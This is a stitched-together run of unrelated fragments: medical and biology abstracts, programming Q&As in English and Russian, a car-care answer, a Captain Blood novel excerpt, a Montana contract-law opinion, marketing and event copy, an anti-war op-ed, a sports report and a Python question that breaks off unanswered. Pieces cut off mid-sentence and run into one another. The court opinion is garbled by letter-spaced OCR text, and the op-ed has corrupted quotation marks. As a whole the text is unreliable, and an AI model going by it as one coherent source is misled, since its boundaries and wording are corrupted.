meta-regression provided similar results (0.66 mmHg decrease for each unitary increase of initial ICP). Mannitol is effective in reducing pathological ICP, proportionally to the degree of intracranial hypertension. IPD meta-analysis provided a more precise quantification of ICP variation than the AD approach.A double-blind, randomized, placebo-controlled trial of topical tacrolimus 0·1% vs. clobetasol propionate 0·05% in childhood vitiligo.
Both clobetasol propionate 0·05% (CP 0·05%) and tacrolimus 0·1% (T 0·1%) ointments have been shown to be efficacious and safe in treating vitiligo in the paediatric population. To assess efficacy and safety of these two therapies compared with each other and with placebo. In this prospective study, children aged 2-16 years with vitiligo, stratified into 'facial' (n = 55) and 'nonfacial' (n = 45) groups, were randomized into three arms: CP 0·05% ointment (n = 30), T 0·1% ointment (n = 31) and placebo (n = 29) for 6 months. Successful repigmentation, defined as > 50% improvement, was evaluated by comparing photographs taken at baseline and at 2, 4 and 6 months. In the facial group, 58% of the CP 0·05% group responded successfully compared with 58% of the T 0·1% group, and in the nonfacial group, 39% of the CP 0·05% group responded compared with 23% of the T 0·1% group (P > 0·05). There was a significant difference in response between the CP 0·05% group vs. placebo (P < 0·0001) and the T 0·1% group vs. placebo (P = 0·0004). Spontaneous repigmentation was evaluated as 2·4%. No significant clinical adverse events were noted in any group. Both CP 0·05% and T 0·1% ointments offer similar benefit in paediatric vitiligo, both facial and nonfacial. The facial lesions responded faster than the nonfacial ones.Jasmonic acid regulates spikelet development in rice.
The spikelet is the basal unit of inflorescence in grasses, and its formation is crucial for reproductive success and cereal yield. Here, we report a previously unknown role of the plant hormone jasmonic acid (JA) in determining rice (Oryza sativa) spikelet morphogenesis. The extra glume 1 (eg1) and eg2 mutants exhibit altered spikelet morphology with changed floral organ identity and number, as well as defective floral meristem determinacy. We show that EG1 is a plastid-targeted lipase that participates in JA biosynthesis, and EG2/OsJAZ1 is a JA signalling repressor that interacts with a putative JA receptor, OsCOI1b, to trigger OsJAZ1's degradation during spikelet development. OsJAZ1 also interacts with OsMYC2, a transcription factor in the JA signalling pathway, and represses OsMYC2's role in activating OsMADS1, an E-class gene crucial to the spikelet development. This work discovers a key regulatory mechanism of grass spikelet development and suggests that the role of JA in reproduction has diversified during the flowering plant evolution.Q:
Safely washing engine bay of Ford Focus
I am trying to clean the engine bay of my 2002 Ford Focus SE, which is really grimy thanks to years of neglect, and a valve cover gasket leak that I recently fixed.
I have been reading about how to clean engines properly, but am seeing some conflicting info. Some people are just spraying degreaser, and then using a brush and garden hose to clean. Others say that it's super important to cover all electrical components with plastic.
My questions are:
1) Which engine components besides the alternator, electrical connections, and battery do I need to protect from water? Are there any mechanical components that need to be protected or plugged off? I was just going to duct tape some plastic grocery bags around things to keep them dry. Does that sound adequate or is there a better way?
2) How long should I let it dry before driving it?
3) Any other tips for cleaning that will minimize the risk of damage?
Thanks!
A:
My view on cleaning engines is that they are probably designed to get wet. At least wet in reasonable ways – rain while the hood is open, splashes from puddles, water that makes it through the radiator and around the edges of the hood.
If you pull apart the electrical connectors on most (i.e., the ones that I work on :-) cars you'll see that some care has been taken to weatherproof many of the connectors. I take this as evidence for my belief that cars and engines expect to get wet.
On the strength of that I've been washing the engine compartments of my cars for 40+ years. Here's what I do:
Spray or brush a degreaser (I'm in the US and my current favorite is one called Purple Power, but I'm sure there are plenty of others that are just as good. I know folks who swear by Simple Green) on a warmish (sitting for a few hours) engine
Let it sit for a bit (10 minutes if I'm not in a rush).
Wash it off with a hose on a gentle spray – in my experience it doesn't take much to rinse most of the gunk off.
Then I go for a drive to drying it off (if I can), some days the drive doesn't fit in…
While I'm hosing the engine off I try to avoid spraying directly into electrical components, belts, and bearings. I'm pretty concerned that a high pressure water stream could find its way past the seals of a bearing since the stream of water is kind of "unnatural" from the point of view of an engine. Belts I just figure I don't want to have left over grease or oil on them.
So far I really can't say I've had any problems either short-term or long-term from doing this and a clean engine bay makes it much easier to notice and fix problems. Not to mention more pleasant.
If you live in a salty environment it is probably a good thing for the engine bay (and the rest of the car) to get washed from time to time.
Yai! Nee Romba Azhaga Irukke!
Yai! Nee Romba Azhaga Irukke! () (spelt Yai! Nee Romba Azhaga Irukey! onscreen) is a 2002 Indian Tamil romantic musical film written and directed by Vasanth. Starring Shaam, Sneha, Rajiv Krishna and Jaya Re in |
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] | next sentence. "But you tell me Mr. Pitt he is your navigant?"
"For lack of a better," laughed the Captain, good-humouredly contemptuous. "Now I am ready to wager him a hundred pieces of eight that that is the North Star." And he flung out an arm towards a point of light in the heavens straight abeam. He afterwards told Pitt that had Don Diego confirmed him, he would have run him through upon that instant. Far from that, however, the Spaniard freely expressed his scorn.
"You have the assurance that is of ignorance, Don Pedro; and you lose. The North Star is this one." And he indicated it.
"You are sure?"
"But my dear Don Pedro!" The Spaniard's tone was one of amused protest. "But is it possible that I mistake? Besides, is there not the compass? Come to the binnacle and see there what course we make."
His utter frankness, and the easy manner of one who has nothing to conceal resolved at once the doubt that had leapt so suddenly in the mind of Captain Blood. Pitt was satisfied less easily.
"In that case, Don Diego, will you tell me, since Curacao is our destination, why our course is what it is?"
Again there was no faintest hesitation on Don Diego's part. "You have reason to ask," said he, and sighed. "I had hope' it would not be observe'. I have been careless—oh, of a carelessness very culpable. I neglect observation. Always it is my way. I make too sure. I count too much on dead reckoning. And so today I find when at last I take out the quadrant that we do come by a half-degree too much south, so that Curacao is now almost due north. That is what cause the delay. But we will be there tomorrow."
The explanation, so completely satisfactory, and so readily and candidly forthcoming, left no room for further doubt that Don Diego should have been false to his parole. And when presently Don Diego had withdrawn again, Captain Blood confessed to Pitt that it was absurd to have suspected him. Whatever his antecedents, he had proved his quality when he announced himself ready to die sooner than enter into any undertaking that could hurt his honour or his country.
New to the seas of the Spanish Main and to the ways of the adventurers who sailed it, Captain Blood still entertained illusions. But the next dawn was to shatter them rudely and for ever.
Coming on deck before the sun was up, he saw land ahead, as the Spaniard had promised them last night. Some ten miles ahead it lay, a long coast-line filling the horizon east and west, with a massive headland jutting forward straight before them. Staring at it, he frowned. He had not conceived that Curacao was of such considerable dimensions. Indeed, this looked less like an island than the main itself.
Beating out aweather, against the gentle landward breeze he beheld a great ship on their starboard bow, that he conceived to be some three or four miles off, and—as well as he could judge her at that distance—of a tonnage equal if not superior to their own. Even as he watched her she altered her course, and going about came heading towards them, close-hauled.
A dozen of his fellows were astir on the forecastle, looking eagerly ahead, and the sound of their voices and laughter reached him across the length of the stately Cinco Llagas.
"There," said a soft voice behind him in liquid Spanish, "is the Promised Land, Don Pedro."
It was something in that voice, a muffled note of exultation, that awoke suspicion in him, and made whole the half-doubt he had been entertaining. He turned sharply to face Don Diego, so sharply that the sly smile was not effaced from the Spaniard's countenance before Captain Blood's eyes had flashed upon it.
"You find an odd satisfaction in the sight of it—all things considered," said Mr. Blood.
"Of course." The Spaniard rubbed his hands, and Mr. Blood observed that they were unsteady. "The satisfaction of a mariner."
"Or of a traitor—which?" Blood asked him quietly. And as the Spaniard fell back before him with suddenly altered countenance that confirmed his every suspicion, he flung an arm out in the direction of the distant shore. "What land is that?" he demanded. "Will you have the effrontery to tell me that is the coast of Curacao?"
He advanced upon Don Diego suddenly, and Don Diego, step by step, fell back. "Shall I tell you what land it is? Shall I?" His fierce assumption of knowledge seemed to dazzle and daze the Spaniard. For still Don Diego made no answer. And then Captain Blood drew a bow at a venture—or not quite at a venture. Such a coast-line as that, if not of the main itself, and the main he knew it could not be, must belong to either Cuba or Hispaniola. Now knowing Cuba to lie farther north and west of the two, it followed, he reasoned swiftly, that if Don Diego meant betrayal he would steer for the nearer of these Spanish territories. "That land, you treacherous, forsworn Spanish dog, is the island of Hispaniola."
Having said it, he closely watched the swarthy face now overspread with pallor, to see the truth or falsehood of his guess reflected there. But now the retreating Spaniard had come to the middle of the quarter-deck, where the mizzen sail made a screen to shut them off from the eyes of the Englishmen below. His lips writhed in a snarling smile.
"Ah, perro ingles! You know too much," he said under his breath, and sprang for the Captain's throat.
Tight-locked in each other's arms, they swayed a moment, then together went down upon the deck, the Spaniard's feet jerked from under him by the right leg of Captain Blood. The Spaniard had depended upon his strength, which was considerable. But it proved no match for the steady muscles of the Irishman, tempered of late by the vicissitudes of slavery. He had depended upon choking the life out of Blood, and so gaining the half-hour that might be necessary to bring up that fine ship that was beating towards them—a Spanish ship, perforce, since none other would be so boldly cruising in these Spanish waters off Hispaniola. But all that Don Diego had accomplished was to betray himself completely, and to no purpose. This he realized when he found himself upon his back, pinned down by Blood, who was kneeling on his chest, whilst the men summoned by their Captain's shout came clattering up the companion.
"Will I say a prayer for your dirty soul now, whilst I am in this position?" Captain Blood was furiously mocking him.
But the Spaniard, though defeated, now beyond hope for himself, forced his lips to smile, and gave back mockery for mockery.
"Who will pray for your soul, I wonder, when that galleon comes to lie board and board with you?"
"That galleon!" echoed Captain Blood with sudden and awful realization that already it was too late to avoid the consequences of Don Diego's betrayal of them.
"That galleon," Don Diego repeated, and added with a deepening sneer: "Do you know what ship it is? I will tell you. It is the Encarnacion, the flagship of Don Miguel de Espinosa, the Lord Admiral of Castile, and Don Miguel is my brother. It is a very fortunate encounter. The Almighty, you see, watches over the destinies of Catholic Spain."
There was no trace of humour or urbanity now in Captain Blood. His light eyes blazed: his face was set.
He rose, relinquishing the Spaniard to his men. "Make him fast," he bade them. "Truss him, wrist and heel, but don't hurt him—not so much as a hair of his precious head."
The injunction was very necessary. Frenzied by the thought that they were likely to exchange the slavery from which they had so lately escaped for a slavery still worse, they would have torn the Spaniard limb from limb upon the spot. And if they now obeyed their Captain and refrained, it was only because the sudden steely note in his voice promised for Don Diego Valdez something far more exquisite than death.
"You scum! You dirty pirate! You man of honour!" Captain Blood apostrophized his prisoner.
But Don Diego looked up at him and laughed.
"You underrated me." He spoke English, so that all might hear. "I tell you that I was not fear death, and I show you that I was not fear it. You no understand. You just an English dog."
"Irish, if you please," Captain Blood corrected him. "And your parole, you tyke of Spain?"
"You think I give my parole to leave you sons of filth with this beautiful Spanish ship, to go make war upon other Spaniards! Ha!" Don Diego laughed in his throat. "You fool! You can kill me. Pish! It is very well. I die with my work well done. In less than an hour you will be the prisoners of Spain, and the Cinco Llagas will go |
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] | "<a style='text-decoration: none;' href='$query2[link]'><h1 class='w3-text-teal'>".$query2['heading']."</h1></a>";
echo "<p>".$query2['content']."</p>";
}
echo "</div>";
?>
Surprisingly it doesn't work. Thanks for all help.
A:
I'm posting this as a community wiki:
As per my comment(s):
$query2[link] and $query2['heading'] and $query2['content'] will NEVER echo; you didn't select those columns in your query.
DeviantARTist gamefan84, a.k.a. Tyler Edlin, has given us the painting of Chewbacca riding a giant squirrel and using a crossbow to fight gun-toting Nazis that we’ve yearned for before we even knew why. See also: Betty White wearing a metal bikini and riding a John Ritter Centaur while wielding a burning chainsaw. (Nazis not included.)
If you, like DeviantARTist “pooface12345,” wish to “hang this on the wall of [your] mahogany paneled study,” you’re in luck: small prints are available for $9.32, and large ones for $33.32.
(Tyler Edlin via The High Definite)
Have a tip we should know? [email protected]“I tried to be more aggressive, attack and play hard to get a win,” Teague said. “Those guys were telling me to just use my speed and get to the rim. It was working out for me tonight.”
DeMarre Carroll had a career-high 21 points for Atlanta, which has won three of four. Evan Turner scored 27 points and Tony Wroten had 22 for the Sixers, who have lost three of four.
Hawks guard Lou Williams, returning to the court for the first time since reconstructive knee surgery 10 months ago, finished with seven points, three rebounds and two assists in 16 minutes.
The Sixers were without second-leading scorer Michael Carter-Williams because of a bruised arch suffered in a loss to the Spurs on Monday. Coach Brett Brown — another former Spurs assistant — said he doubts he'll play Saturday at New Orleans or Monday at Dallas.Q:
На чистом js можно найти предка n-уровня?
Сейчас, чтобы найти нужного мне предка, я пишу elem.parentElement.parentElement.parentElement.parentElement.
1) А можно как-то поизящнее?
2) И другой вопрос: есть такая структура:
<table id="some">
<tbody>
<tr><td><input id="myInput" type="text"></td></tr>
<tr><td></td></tr>
<tr><td></td></tr>
</tbody>
<table>
Как узнать id table (в данном случае это "some"), если известен input#myInput?
Спасибо!
A:
let elem = document.getElementById("myInput");
let elemId = elem.closest('table').id; // table id = some...
По сути, через тот же closest() можно искать и родителя, тут в зависимости от ситуации варианты рассматривать надо
A:
Есть метод closest, который помогает искать родителя по какому-то селектору.
В случае с вашей таблицей:
const input = document.getElementById('myInput');
const table = input.closest('#some');
if (table) {
console.log('Parent of input is: ', table);
}
<table id="some">
<tbody>
<tr><td><input id="myInput" type="text"></td></tr>
<tr><td></td></tr>
<tr><td></td></tr>
</tbody>
<table>
Полезные ссылки
closest
1. Introduction {#sec0005}
===============
Occasion setters are stimuli that signal that a conditioned stimulus (CS), that is otherwise without consequence, will be followed by an unconditioned stimulus (US); as a result the CS elicits a greater conditioned response (CR) when it is preceded by the occasion setter than when it is presented alone. Critically, this behaviour is independent of the Pavlovian properties of the occasion setter. For example, it is maintained after extinction of the occasion setter (e.g., [@bib0070]); moreover, animals can learn biconditional tasks in which *A* signals reinforcement of *x* and not *y*, while *B* signals the reverse (i.e. *A*...*x*+, *A*...*y*−, *B*...*y*+, *B*...*x*−; e.g., [@bib0005]). As *A* and *B* are equally associated with reinforcement and nonreinforcement, as are *x* and *y*, Pavlovian conditioning could not predict more responding to *x* on reinforced *A*...*x*+ trials than on nonreinforced *B*...*x*− trials, and so could not explain accurate performance on this task.
Evidence suggests that occasion setters act hierarchically on the CS--US association (e.g., [@bib0015; @bib0025; @bib0145; @bib0150; @bib0170]) -- for example, by facilitating the flow of activation between CS and US (e.g., [@bib0065]; see also [@bib0040; @bib0045]; cf. [@bib0160]). This *hierarchical* theory has some face validity: it seems natural to say that a CS predicts a US only on the specific occasions when it is signalled by the occasion setter (for example, a friend only becomes irritable at exam time). Nonetheless, little is yet known about precisely how occasion setters form and act (although see [@bib0135; @bib0140]). For example, some have suggested that there is an association between the occasion setter and the entire target CS → US association ([@bib0080]; see also [@bib0010; @bib0020; @bib0165]). In support of this suggestion, [@bib0035], trained animals on a biconditional discrimination in which *A* signalled that *x* would be followed by food whereas *y* would not (*A*...*x*+, *A*...*y*) while *B* signalled the opposite (*B*...*y*+, *B*...*x*−). Then *A* was paired with shock, and the amount of fear evoked by *x* and *y* assessed as a function of whether *x* and *y* were followed by food or not. Animals showed more fear after experiencing a pairing of *x* and food than a pairing of *y* and food -- but showed more fear after a *nonreinforced* presentation of *y* than after a nonreinforced presentation of *x*. The authors argued that when *A* was paired with shock, the *x* → *food* and *y* → *no food* associations became paired with shock, producing the selective responding at test (see also [@bib0090]).
The hierarchical account assumes new principles in order to explain occasion setting, as it envisages that the occasion setter *facilitates* the association, rather than activating representations in the standard associative manner. But some argue that this approach is overly complex and that it would be better to adapt existing associative principles to account for occasion-setting effects. Such an approach has been adopted by a body of models broadly referred to as configural theories; these accounts are characterised by the assumption that compound cues are something more than the sum of their constituent elements (e.g. [@bib0050; @bib0110; @bib0115; @bib0120; @bib0125]; see also [@bib0085]). For example, concurrent presentation of the occasion setter and target CS could be said to activate a configural stimulus representation that is distinct from the representations of its two constituent elements (e.g. [@bib0110]). This configural cue will acquire associative strength during occasion-setting training, but will not be present when the occasion setter is presented alone. Thus extinction of the occasion setter would leave the associative strength of the unique cues intact, and the discrimination would be maintained -- the key characteristic of occasion setting. Similarly, the biconditional discrimination referred to above, *Ax*+, *Ay*−, *Bx*−, *By*+ would be more accurately represented as a ***p***+, ***q*****−**, ***r*****−**, ***s***+ discrimination, where ***p***, ***q***, ***r*** and ***s*** are the configural cues corresponding to the ***Ax***, ***Ay***, ***Bx*** and |
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] |
)
and for repair of boilers;
5) Wiring for electric sign in front of project;
6) Installation of ground lights in area;
7) Furnishing hoods for kitchen ranges in each apartment;
8 Wiring of outlets for soft drink dispensers;
)
9) Wiring of swimming pool building not included in
original plan;
10) Pool furnace and venting system wiring;
11) Grounding system for pool;
12) Installation of additional outlets beyond those
contemplated in the contract in order to comply with local and
national electrical code standards;
13) Installation of additional phone conduit omitted from
the original plans and specifications;
14) Lowering of bathroom overhead fixtures and fans after
installation upon discovery plumbers were unable to install plumbing
according to plans;
15) Move of main electrical service from the exterior of
building after installation to an interior closet to accommodate
Montana Power Company plan alteration regarding location of power
transformer pad; and
16) Miscellaneous items n o t covered by c o n t r a c t and done
by Matzinger a t request of Remco's supervisory personnel.
These e x t r a items t o t a l a claimed amount of $13,181.71, i n a d d i t i o n
t o t h e amount due under t h e c o n t r a c t .
A l e t t e r was s e n t t o Matzinger by Richins, t h e p r o j e c t
superintendent, on January 4 , 1974, d i s c u s s i n g t h e claim and noting
Remco's w i l l i n g n e s s t o pay t h e amount claimed f o r a m a j o r i t y of
t h e items. Remco's p o s i t i o n i n t h e l e t t e r was t h a t r e l o c a t i o n of
t h e e l e c t r i c a l s e r v i c e panel and movement of bathroom c e i l i n g
f i x t u r e s was n e c e s s i t a t e d by Matzinger's f a i l u r e t o coordinate h i s
work with t h e o t h e r subcontractors. The l e t t e r a l s o i n d i c a t e d
Remco's opinion t h a t any e x t r a expense incurred i n i n s t a l l a t i o n
of telephones was covered by t h e c o n t r a c t and must be borne by
Matzinger. Remco's agent s t a t e d he would r e q u i r e a d d i t i o n a l informa-
t i o n regarding t h e expenses of wiring and grounding t h e pool and
pool b u i l d i n g before any claims f o r such work would be allowed.
I n t o t a l , Remco conceded i t would pay $5,485.25 plus whatever was
determined t o be e q u i t a b l e f o r work done on t h e pool, i n r e t u r n
f o r t h e r e l e a s e of t h e mechanic's l i e n .
The d i s t r i c t c o u r t found Matzinger was e n t i t l e d t o t h e
$1,245 claimed f o r i n s t a l l a t i o n of t h e a i r - c o n d i t i o n e r o u t l e t s
and t o $847 f o r t h e weatherproof o u t l e t s . The c o u r t held a l l
o t h e r claims were covered by t h e o r i g i n a l c o n t r a c t between t h e
parties. The court a l s o disallowed Matzinger recovery of any
a t t o r n e y f e e s f o r recovery on t h e mechanic's l i e n . Matzinger's
recovery was a l s o reduced by $1173.75, t h e amount t h e d i s t r i c t
c o u r t found t o be due a s an allowance on l i g h t f i x t u r e s t o Remco.
M t z i n g e r appealed.
a
The primary issue is: Whether a written contract such as
was entered into between the parties here, may be amended or modified
by oral agreement?
Section 13-907, R.C.M. 1947, provides:
"A contract in writing may be altered by a contract in
writing, or by an executed oral agreement, and not other-
wise. 11
Section 13-727, R.C.M. 1947, defines an executed contract:
"An executed contract is one, the object of which is
fully performed. All others are executory."
The parties agree the work for which extra compensation is sought
was performed as claimed by Matzinger. This work was done for the
benefit of Remco and enhanced the value of the finished apartment
complex. The disagreement between the parties is in regard to
compensation for this extra work. This Court in Dalakow v. Geery,
132 Mont. 457, 464, 465, 318 P.2d 253, summarized the law in
Montana and said:
"Roberts v. Sinnott, 55 Mont. 369, 177 Pac. 252, is
strikingly similar to the present case.
"That case involved a written contract to furnish
certain materials and perform the work necessary for the
erection of a dwelling. The plaintiff-contractor brought
action upon the original agreement and each of twenty-five
oral contracts supplemental thereto. The original contract
contained a stipulation that no charges for extra work
would be allowed unless ordered in writing, so the defendant
contended there could be no recovery on the oral agreements.
But this court * * * said:
"'The provision of the contract above was manifestly
intended for the protection and benefit of the owner,
and no reason can be suggested why it might not be waived.
The authorities are quite uniform in holding that, not-
withstanding such a provision, the parties may make subse-
quent independent oral agreements which, when executed,
have the effect of modifying the original contract, and
the rule has been recognized in this jurisdiction.'
"In Roberts v. Sinnott, supra, it will be noted that
defendant did not in effect execute his part of the
agreement, i.e. payment. This court however did not
deny that an oral modification had been effected merely
because of that fact.
"I* s
. *
in cases where there is adequate consideration
for the oral modification and the party relying thereon
has fully performed, the written contract will be enforced
as modified whether or not the other party has fully per-
formed on his part. * * *. "
'
See: Gramrn v. Insurance Unlimited, 141Mont. 456, 378 P.2d 662;
Jenson v. Olson, 144 Mont. 224, 395 P.2d 465; Webber v. Killorn,
66 Mont. 130, 212 P. 852.
In drafting the subcontract, Remco chose to insert the
provision: "CONTRACT TO INCLUDE THE FOLLOWING BUT NOT LIMITED TO:"
This language, when viewed in light of the district court finding
of the existence of some oral changes and additions to the con-
tract, requires a finding of the existence of oral modifications
to the subcontract. Matzinger is entitled to recovery for work
performed pursuant to such modifications and must not be barred from
receiving just compensation.
Having determined Matzinger is entitled to enforce the
contract as modified by the oral change orders and requests for
additions by Remco's personnel, the next problem to determine
is the amount of compensation due under the modified contract. The
letter written by Mr. Richins, the supervisor and agent of Remco,
is useful in this regard. The district court admitted the letter
in evidence, subject to Remco's objection on the ground it consti-
tuted an offer of compromise, rather than an admission of a fact.
4 Wigmore, Evidence, 1061, p. 33 (Chadbourn rev. 1972) , notes :
"Whether an offer to settle a claim by a |
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] | .e. requiring IDs at all facilities and farms), employee training, and in-the-field efforts with suppliers. But this movement only picked up in the last few years.
Tracking a Growing Global Movement: How It Affects All of Us
Last year, the world reached a critical milestone in the global fight to end human trafficking: Companies that conduct business in the U.S. and U.K. are now legally required to report information on their supply chains.
The growing momentum is building an environment where consumers will soon demand supply-chain transparency—and the elimination of modern slavery will be mandatory.
Other notable events in 2016 contributing to the movement:
The number of countries enforcing trafficking regulations went up from 18% in 2003 to 88% in 2016, according to the 2016 UNODC Global Report on Trafficking in Persons. Many countries passed legislations recently.
World leaders mentioned human trafficking in three out of the 17 Sustainable Development Goals. And the United Nations Security Council unanimously condemned human trafficking in the strongest terms.
The U.S. Advisory Council on Human Trafficking launched, and it released the first U.S. government report on human trafficking written by survivors.
Enforcement and regulations are expected to tighten even further across the board in 2017.
Know Your Chain: The Responsibility of All Organizations Today
In response to the regulations and increasing social pressures, many businesses are building programs to better track their supply chains and raise awareness.
Coca Cola, for instance, has an internal group called the Global Workplace Rights (GWR) team that enforces international human rights principles across its employee base. Leaders speak publicly about how they are addressing human trafficking and actively promoting education and awareness on the issue.
Even watchdog organizations like Responsible Sourcing Tool, Development International, Made in a Free World, and Project Just are popping up to reveal to consumers those companies who are adhering to ethical, sustainable standards—and those who are not.
It’s more important than ever to be aware of every member in your supply-chain family and their activities. It’s the age of transparency, the time when it’s possible for your customer (or competitor) to learn something about your company before you do—and go public with it in a matter of seconds.
But beyond reputation protection, and even ensuring fair competition in each industry, organizations carry the power to contribute immensely in the fight against modern slavery, saving millions of people.
We believe Dun & Bradstreet, as the owner of the largest commercial database in the world, has a social responsibility to get involved and help our customers learn more about their relationships, which put them, their industry, and the people of the world at risk of falling victim to human trafficking.
Act Now:
Your company will be given a risk rating between 1-7 (from low to high risk). This score will be based on a combination of factors from your supply base, the locations in which your company operates, your D-U-N-S number, and analytics from public and proprietary Dun & Bradstreet data.
A snapshot of the risk levels of your supplier family:
Each of your suppliers—including Tiers 1, 2, and 3—influence your product and ultimately represent your brand. We understand it can feel impossible to understand and keep track of every supply layer without the right tools. In this sample report, we gather a list of your 20 lowest- and highest-risk suppliers to get you started.760 F.2d 251
Nievasv.Secretary of Health and Human Services
84-1637
United States Court of Appeals,First Circuit.
3/4/85
1
D.P.R.
VACATED AND REMANDED
Event Details
Crafty Fox (http://craftyfoxmarket.blogspot.co.uk/) is the go-to market for emerging designers and creative makers in London. Join innovative founder Sinead Koehler as she offers her top tips for transforming your crafty hobby into a thriving business opportunity.
Missed out on the talk? Watch it archived at www.moo.com/shop.
Do you have questions about Launch a Business from a Market Stall - at The MOO Shop?
Contact MOO.COM
Wednesday, 25 September 2013 from 19:00 to 20:00 (BST)
Organiser
MOO.COM
Hello – we’re MOO.COM, an online printer founded in London in 2006. We print Business Cards, MiniCards and anything else businesses and individuals might need to stand out in a crowd.
Why would an online printer need a shop? Simply put, in an increasingly online existence, we jumped at the chance to translate our website into a real world experience.
The MOO Shop is more than just a shop – it’s an interactive experience. We want our customers to be able to discover MOO products in a new way – to touch and feel the quality of our paper, to explore our exclusive design gallery, and to be able to buy MOO accessories and vouchers.
We’re also offering a range of other services you can’t find online. – like saving on shipping fees by collecting your order at the MOO Shop, customising your cards with embossing while you wait, and a series of after-work events such as design workshops and talks from some of the leading tech founders and entrepreneurs in the country.
Pop in our shop to say hi, or keep updated with our in-store events and offers at moo.com/shop.Episode notes
When Ben and Adam take a trip to the city of sin to infiltrate Big Rod’s Star Trek Vegas, they only have a small idea of what was in store for them. But when greeted almost immediately by the talented J.K. Woodward it’s time to grab a hoof and record some pod. What updates to the Mirror Universe can J.K. tell us? How many Vulcans fit in a swimming pool? Is anyone in the building participating in jamaharon or just craps?
It’s the episode that keeps the lights on 24 hours a day!
Produced by Rob Schulte.
Theme music by Adam Regusea,
Follow Adam, Ben, and Rob on twitter, and discuss the show using the hashtag #GreatestDiscovery!Q:
Seconds counter in the if statement
I, I tried using Timer.scheduledTimer(withTimeInterval: 2, repeats: false, block: { (Timer) in but it do not works how I would like to. Here is me idea:
If certatin rotation is true {
start timer;
if timer = 2seconds{
perform some action
}
if timer = 3 seconds{
perform another action
}
}else stop timer
My CODE:
//===============================================FIRTS
if Counter == 1 {
if self.Bottle.zRotation < -0.94 && self.Bottle.zPosition > -0.98 {
self.WaterDrop.alpha = 1
Timer.scheduledTimer(withTimeInterval: 1, repeats: false, block: { (Timer) in
self.GlassWater1.alpha = 0.5
self.BottleWater6.alpha = 0.0
self.WaterDrop.setScale(CGFloat(1.2))
})
Counter = 2
print(Counter)
}else {
self.WaterDrop.alpha = 0.0
self.WaterDrop.setScale(CGFloat(1.0))
Counter = 1
// print(Counter)
}
}
//===============================================SECOND
if Counter == 2 {
if self.Bottle.zRotation < -0.94 && self.Bottle.zPosition > -0.98 {
self.WaterDrop.alpha = 1
Timer.scheduledTimer(withTimeInterval: 2, repeats: false, block: { (Timer) in
self.GlassWater2.alpha = 0.5
self.BottleWater5.alpha = 0.0
self.WaterDrop.setScale(CGFloat(1.4))
})
Counter = 3
// print(Counter)
}else {
self.WaterDrop.alpha = 0.0
self.WaterDrop.setScale(CGFloat(1.0))
Counter = 1
// print(Counter)
}
}
//===============================================Third
if Counter == 3 {
if self.Bottle.zRotation < -0.94 && self.Bottle.zPosition > -0.98 {
self.WaterDrop.alpha = 1
Timer.scheduledTimer(withTimeInterval: 3, repeats: false, block: { (Timer) in
self.GlassWater3.alpha = 0.5
self.BottleWater4.alpha = 0.0
self.WaterDrop.setScale(CGFloat(1.4))
})
Counter = 4
// print(Counter)
}else {
self.WaterDrop.alpha = 0.0
|
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] | The men and women of the National Guard shouldn’t be killing in Iraq.They should be helping in New Orleans and Biloxi.
The catastrophic hurricane was an act of God. But the U.S. war effort in Iraq is a continuing act of the president. And now, that effort is hampering the capacity of the National Guard to save lives at home.
Before the flooding of New Orleans drastically escalated on Tuesday, the White House tried to disarm questions that could be politically explosive. “To those of you who are concerned about whether or not we’re prepared to help, don’t be, we are,†President Bush said.“We’re in place, we’ve got equipment in place, supplies in place, and once the — once we’re able to assess the damage, we’ll be able to move in and help those good folks in the affected areas.â€
Echoing the official assurances, CBS News reported: “Even though more than a third of Mississippi’s and Louisiana’s National Guard troops are either in Iraq or supporting the war effort, the National Guard says there are more than enough at home to do the job.â€
But after New Orleans levees collapsed and the scope of the catastrophe became more clear, such reassuring claims lost credibility. The Washington Post reported on Wednesday: “With thousands of their citizen-soldiers away fighting in Iraq, states hit hard by Hurricane Katrina scrambled to muster forces for rescue and security missions yesterday — calling up Army bands and water-purification teams, among other units, and requesting help from distant states and the active-duty military.â€
The back-page Post story added: “National Guard officials in the states acknowledged that the scale of the destruction is stretching the limits of available manpower while placing another extraordinary demand on their troops — most of whom have already served tours in Iraq or Afghanistan or in homeland defense missions since 2001.â€
Speaking for the Mississippi National Guard, Lt. Andy Thaggard said:“Missing the personnel is the big thing in this particular event. We need our people.†According to the Washington Post, the Mississippi National Guard “has a brigade of more than 4,000 troops in central Iraq†while “Louisiana also has about 3,000 Guard troops in Baghdad.â€
National Guard troops don’t belong in Iraq. They should be rescuing and protecting in Louisiana and Mississippi, not patrolling and killing in a country that was invaded on the basis of presidential deception. They should be fighting the effects of flood waters at home — helping people in the communities they know best — not battling Iraqi people who want them to go away.
Let’s use the Internet today to forward and post this demand so widely that the politicians in Washington can no longer ignore it:
Bring the National Guard home. Immediately.
Norman Solomon is the author of the new book “War Made Easy: How Presidents and Pundits Keep Spinning Us to Death.†For information, go to:www.WarMadeEasy.comTravel from Philippines to Sudan, Travel to Sudan from Philippines, Visit Sudan from Philippines, Holidays in Sudan for a national of Philippines, Vacation in Sudan for a citizen of Philippines, Going to Sudan from Philippinessports WORTHINGTON -- The Ridgewater volleyball team finished the first half of its MCAC Southern Division schedule with a 25-19, 25-20, 24-26, 25-15 win over Minnesota West Wednesday.
The Lady Warriors went 4-1 in the first swing through the division and are 12-4 overall.
"We didn't play up to our potential...
Willmar, 56201
Willmar Minnesota 2208 Trott Ave. SW / P.O. Box 839 56201
2012-11-30 12:15:51
WORTHINGTON -- The Ridgewater volleyball team finished the first half of its MCAC Southern Division schedule with a 25-19, 25-20, 24-26, 25-15 win over Minnesota West Wednesday.
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The Lady Warriors went 4-1 in the first swing through the division and are 12-4 overall.
"We didn't play up to our potential until midway through Game 4," said coach Joe Sussenguth. "Minnesota West has some strong, tall hitters. We made a better commitment to defense in the fourth game."
Ridgewater had a .277 kill percentage as a team.
Karrie Blommel led the way with 15 kills on 35-of-37 attempts. Leah Miller had 13 kills (23 of 26), served four aces and had 16 digs. Molly Miller also had four ace serves. Carina Fesenmaier added 40 assists and three ace blocks, Jordan Olerud had three ace blocks, seven kills and 16 digs.Q:
Why is hexadecimal bytes data b'\x35' being interpreted as b'5' in Python?
I am working with a set of hexadecimal data. I am using bytes type for the data.
For example
I am having the data as b'\x35', b'\xA6', b'\x12', b'\x26'
When I print each of these hexadecimal characters, I am getting the output as b'5', b'\xa6', b'\x12', b'&' correspondingly
I am getting b'\xa6', b'\x12' as the same. But I am getting a different output when I print b'\x35' and b'\x26'.
Can you please tell me how do I fix this issue? I want my output to be the same as the input .
A:
